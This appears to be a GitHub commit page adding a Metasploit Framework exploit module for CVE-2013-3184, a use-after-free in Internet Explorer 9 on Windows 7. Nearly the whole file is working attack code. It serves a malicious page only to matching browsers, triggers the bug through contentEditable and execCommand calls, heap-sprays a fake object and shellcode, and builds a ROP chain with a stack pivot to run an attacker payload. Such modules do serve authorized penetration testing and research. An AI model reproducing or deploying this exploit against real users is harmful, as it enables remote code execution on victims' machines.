Skip to content

Commit 0a1b078

Browse files
committed
Add CVE-2013-3184 (MS13-058) CFlatMarkupPointer Use After Free
Please see module description for more info.
1 parent 2176f0b commit 0a1b078

File tree

1 file changed

+174
-0
lines changed

1 file changed

+174
-0
lines changed
Lines changed: 174 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,174 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::RopDb
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "MS13-058 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free",
19+
'Description' => %q{
20+
This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9,
21+
it seems to only affect certain releases of mshtml.dll. For example: This module
22+
can be used against version 9.0.8112.16446, but not for 9.0.8112.16421. IE 8
23+
requires a different way to trigger the vulnerability, but not currently covered
24+
by this module.
25+
26+
The issue is specific to the browser's IE7 document compatibility, which can be
27+
defined in X-UA-Compatible, and the content editable mode must be enabled. An
28+
"onmove" event handler is also necessary to be able to trigger the bug, and the
29+
event will be run twice before the crash. The first time is due to the position
30+
change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable'
31+
object is created during a "SelectAll" command, and this object will be used later
32+
on in the crash. The second onmove event seems to be triggered by a InsertButton
33+
(or Insert-whatever) command, which is also responsible for the free of object
34+
CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will
35+
then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and
36+
then passes this on to the next functions (GetLineInfo -> QIClassID). When this
37+
reference arrives in function QIClassID, an access violation finally occurs when
38+
the function is trying to call QueryInterface() with the bad eference, an this
39+
results a crash. Successful control of the freed memory may leverage arbitrary code
40+
execution under the context of the user.
41+
42+
Note: It is also possible to see a different object being freed and used, doesn't
43+
always have to be CFlatMarkupPointer.
44+
},
45+
'License' => MSF_LICENSE,
46+
'Author' =>
47+
[
48+
'corelanc0d3r', # Vuln discovery, PoC
49+
'juan vazquez', # Stack pivot!
50+
'sinn3r' # Metasploit
51+
],
52+
'References' =>
53+
[
54+
[ 'CVE', '2013-3184' ],
55+
[ 'OSVDB', '96182' ],
56+
[ 'MSB', 'MS13-059' ],
57+
[ 'BID', '61668' ],
58+
[ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-13-194/' ],
59+
[ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-13-195/' ]
60+
],
61+
'Platform' => 'win',
62+
'Targets' =>
63+
[
64+
# Vulnerable IE9 tested: 9.0.8112.16446
65+
[ 'Automatic', {} ],
66+
[ 'IE 9 on Windows 7 SP1 (mshtml 9.0.8112.16446)', {} ]
67+
],
68+
'Payload' =>
69+
{
70+
'BadChars' => "\x00",
71+
'StackAdjustment' => -3500
72+
},
73+
'DefaultOptions' =>
74+
{
75+
'InitialAutoRunScript' => 'migrate -f'
76+
},
77+
'Privileged' => false,
78+
'DisclosureDate' => "Jun 27 2013",
79+
'DefaultTarget' => 0))
80+
end
81+
82+
def rnd_dword
83+
rand_text_alpha(4).unpack("V").first
84+
end
85+
86+
def get_fake_obj
87+
# edx,dword ptr [eax]
88+
# ...
89+
# call edx
90+
obj = [0x20302020].pack("V*") # EAX points to this (Target spray 0x20302020)
91+
obj << [rnd_dword].pack("V*")
92+
obj << [rnd_dword].pack("V*")
93+
obj << [rnd_dword].pack("V*")
94+
obj << [rnd_dword].pack("V*")
95+
96+
return obj
97+
end
98+
99+
# Target spray 0x20302020
100+
# ESI is our fake obj, with [esi]=0x20302020, [esi+4]=0x42424242, so on
101+
# eax=20302020 ebx=80004002 ecx=0250d890 edx=cccccccc esi=03909b68 edi=0250d8cc
102+
# eip=cccccccc esp=0250d87c ebp=0250d8a8 iopl=0 nv up ei ng nz na po cy
103+
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010283
104+
# cccccccc ?? ???
105+
def get_payload
106+
code = ''
107+
code << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
108+
code << "\x61\x9d" # popad; popfd
109+
code << payload.encoded
110+
111+
stack_pivot = [
112+
0x7c342643, # xchg eax, esp; pop edi; add [eax], al, pop ecx; ret
113+
0x0c0c0c0c
114+
].pack("V*")
115+
116+
p = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
117+
118+
return p
119+
end
120+
121+
def is_win7_ie9?(agent)
122+
(agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/)
123+
end
124+
125+
# The meta-refresh seems very necessary to make the object overwrite more reliable.
126+
# Without it, it only gets about 50/50
127+
def get_html(cli, req)
128+
js_fake_obj = ::Rex::Text.to_unescape(get_fake_obj, ::Rex::Arch.endian(target.arch))
129+
js_payload = ::Rex::Text.to_unescape(get_payload, ::Rex::Arch.endian(target.arch))
130+
131+
html = %Q|
132+
<html>
133+
<meta http-equiv="X-UA-Compatible" content="IE=7"/>
134+
<meta http-equiv="refresh" content="2"/>
135+
<head>
136+
<script language='javascript'>
137+
#{js_property_spray}
138+
139+
var fake_obj = unescape("#{js_fake_obj}");
140+
var s = unescape("#{js_payload}");
141+
142+
sprayHeap({shellcode:s});
143+
144+
function setupPage() {
145+
document.body.style.position = 'absolute';
146+
document.body.contentEditable = 'true';
147+
document.body.style.right = '1';
148+
}
149+
150+
function hitMe() {
151+
document.execCommand('SelectAll');
152+
document.execCommand('InsertButton');
153+
sprayHeap({shellcode:fake_obj, heapBlockSize:0x10});
154+
document.body.innerHTML = '#{Rex::Text.rand_text_alpha(1)}';
155+
}
156+
</script>
157+
</head>
158+
<body onload="setupPage()" onmove="hitMe()" />
159+
</html>
160+
|
161+
162+
html.gsub(/^\t\t/, '')
163+
end
164+
165+
def on_request_uri(cli, request)
166+
if is_win7_ie9?(request.headers['User-Agent'])
167+
print_status("Sending exploit...")
168+
send_response(cli, get_html(cli, request), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
169+
else
170+
print_error("Not a suitable target: #{request.headers['User-Agent']}")
171+
send_not_found(cli)
172+
end
173+
end
174+
end

0 commit comments

Comments
 (0)